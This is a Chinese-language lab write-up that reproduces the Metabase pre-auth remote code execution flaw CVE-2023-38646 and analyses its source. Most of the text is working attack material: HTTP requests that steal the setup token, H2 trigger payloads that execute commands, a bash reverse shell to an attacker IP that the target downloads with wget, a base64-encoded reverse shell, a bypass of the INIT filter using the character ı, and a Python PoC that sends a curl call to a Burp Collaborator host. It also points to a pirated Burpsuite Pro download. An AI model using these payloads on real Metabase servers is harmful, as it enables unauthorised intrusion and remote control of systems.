影响版本

  • Metabase open source 0.46 < 0.46.6.1
  • Metabase Enterprise 1.46 < 1.46.6.1
  • Metabase open source 0.45 < v0.45.4.1
  • Metabase Enterprise 1.45 < 1.45.4.1
  • Metabase open source 0.44 < 0.44.7.1
  • Metabase Enterprise 1.44 < 1.44.7.1
  • Metabase open source 0.43 < 0.43.7.2
  • Metabase Enterprise 1.43 < 1.43.7.2

漏洞复现

参考链接:

Metabase RCE漏洞复现

Pre-Auth RCE in Metabase(CVE-2023-38646)

1
2
# 启用靶机docker环境
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
1
2
# 命令行窗口进入容器后台
docker exec -it CONTAINER_ID bash

浏览器访问http://localhost:3000http://127.0.0.1:3000可以打开靶机界面。本实验不需要对靶机进行任何特殊处理,不过也可以自己创建一个账户看看

获取setup-token

1
2
3
4
5
6
7
8
GET /api/session/properties HTTP/1.1
Host: 127.0.0.1:3000
Accept: application/json
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Referer: http://127.0.0.1:3000
将上述Get请求发送给目标url

image-20230803072422737

响应数据

image-20230803072522956

Post请求触发RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /api/setup/validate HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{
"token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/999')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "1",
"engine": "h2"
}
}
响应截图

image-20230803072721681

命令执行成功

image-20230804004814753

反弹shell

注:192.168.21.128是我的kali也就是攻击机ip

shell脚本

1
2
!/bin/sh
bash -c 'exec bash -i >& /dev/tcp/192.168.21.128/6666 0>&1'

启用http服务用于靶机下载shell脚本,注意0.0.0.0在真正使用的时候应该替换为kali即攻击机ip

1
python3 -m http.server 80

靶机下载shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /api/setup/validate HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{
"token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('wget http://192.168.21.128:80/1.sh -O /tmp/shell.sh')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "1",
"engine": "h2"
}
}

这里只用下载一次就够了,我在本机上试了几次所以有多条下载记录。metabase是搭在本地的,所以下载使用的ip和本机是同样的

image-20230803072956456

下载成功

image-20230803073021405

执行shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /api/setup/validate HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{
"token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('/bin/bash /tmp/shell.sh')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "1",
"engine": "h2"
}
}

监听6666端口,获取靶机反弹shell

1
nc -lvvp 6666

image-20230803073104337

源码分析

setup-token获取

参考:

Metabase 远程代码执行漏洞分析

H2 JDBC 深入利用

调用/api/setup/validate通过api.database/test-database-connection来处理输入的参数完成对数据库的校验。

/api/setup/validate

image-20230803181311102

setup在安装时会校验setup-token参数是否正确,来判断是否要进行下步的数据库连接

校验

image-20230803182005002

setup-token在进行生成的时候被默认设置为了public权限,所以可以通过/api/session/properties来读取

获取setup-token

image-20230803182207817

setup-token利用

zip URI方法

H2在解析 init参数时对CREATE TRIGGER会由loadFromSource做特殊处理,根据执行内容的开头来判断是否为需要通过javascript引擎执行。如果以javascript开头就会通过javascript引擎进行编译然后进行执行。

image-20230803183554600

我们就可以通过javascript引擎来实现代码执行,不过该方式在JDK 15之后移除了默认的解析,但是metabase在项目中使用到了js引擎技术。

image-20230803183019748

YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx需要使用自己的IP和Port重新编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812

{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}

H2限制绕过

转载Metabase 远程代码执行漏洞分析

分析源码发现H2连接时会将INIT参数移除

image-20230803185430236

1
2
3
4
5
6
7
8
9
10
11
12
(defn- connection-string-set-safe-options
"Add Metabase Security Settings™ to this `connection-string` (i.e. try to keep shady users from writing nasty SQL)."
[connection-string]
{:pre [(string? connection-string)]}
(let [[file options] (connection-string->file+options connection-string)]
(file+options->connection-string file (merge
(->> options
;; Remove INIT=... from options for security reasons (Metaboat #165)
;; http://h2database.com/html/features.html#execute_sql_on_connection
(remove (fn [[k _]] (= (u/lower-case-en k) "init")))
(into {}))
{"IFEXISTS" "TRUE"}))))

connection-string-set-safe-options使用了lower-case-en将参数名转换为小写字母之后与init匹配进行校验.
H2则是将参数名转换为大写

image-20230803193502835

这里刚好可以使用 拉丁字母ı替换INIT中的IıNIT在转成大写时为INIT但是ıNIT转成小写后为ınit中的ı没有被转换,绕过限制

构造post请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /api/setup/validate HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{
"token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "file:/metabase.db/metabase.db;ınit=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/abc')\n$$",
"advanced-options": true},
"name": "1",
"engine": "h2",
"database": {"db": "file:/metabase.db/metabase.db;ınit=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c touch /tmp/abc') $$",
"advanced-options": true,
"ssl": false}
}
}
RCE成功

image-20230803191113959

成功RCE

mem方法

参考:0xrobiul / CVE-2023-38646

这个我没有做过,感兴趣可以自行尝试,这个方法需要使用Burpsuitecollaborator,专业版Burpsuite自带这个功能,下载地址:Burpsuite_Pro

poc代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import argparse
from colorama import Fore, Style
Gcyan = Fore.YELLOW + Style.BRIGHT
Cyan = Fore.CYAN + Style.BRIGHT
STOP = Style.RESET_ALL
logo = '''
_____ _____ ___ __ ___ ____ ____ ___ __ _ _ __
/ __\ \ / / __|_|_ ) \_ )__ /__|__ /( _ ) / /| | | / /
| (__ \ V /| _|___/ / () / / |_ \___|_ \/ _ \/ _ \_ _/ _ \\
\___| \_/ |___| /___\__/___|___/ |___/\___/\___/ |_|\___/

'''
print(Gcyan + logo + STOP)
print(Cyan + "The PoC Finder!!" + STOP + Gcyan + " By: 0xRobiul\n" + STOP)


parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", type=str, required=True, help="Target URL.")
parser.add_argument("-t", "--token", type=str, required=True, help="Setup-Token From /api/session/properties .")
parser.add_argument("-c", "--collabrator", type=str, required=True, help="Burp Collabrator Client.")
args = parser.parse_args()

url = args.url + "/api/setup/validate"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "application/json", "Content-Type": "application/json", "Connection": "close"}
payload={"details": {"details": {"advanced-options": True, "classname": "org.h2.Driver", "subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('curl -d key=0xRobiul " + args.collabrator +"');", "subprotocol": "h2"}, "engine": "postgres", "name": "x"}, "token": args.token}
attk = requests.post(url, headers=headers, json=payload)

print(Cyan + "Done!! Check Burp Colabrator!!" + STOP)

使用方法

1
2
python3 CVE-2023-38646.py -u 目标url:port -t token -c Burp_Collabrator_Client
# 例如:python3 CVE-2023-38646.py -u 127.0.0.1:3000 -t 141c5a35-3b1d-4c1b-8eca-0591111fa08c -c wwwkzg5j2qxyxqm836v2fxj34ualybm0.oastify.com

修复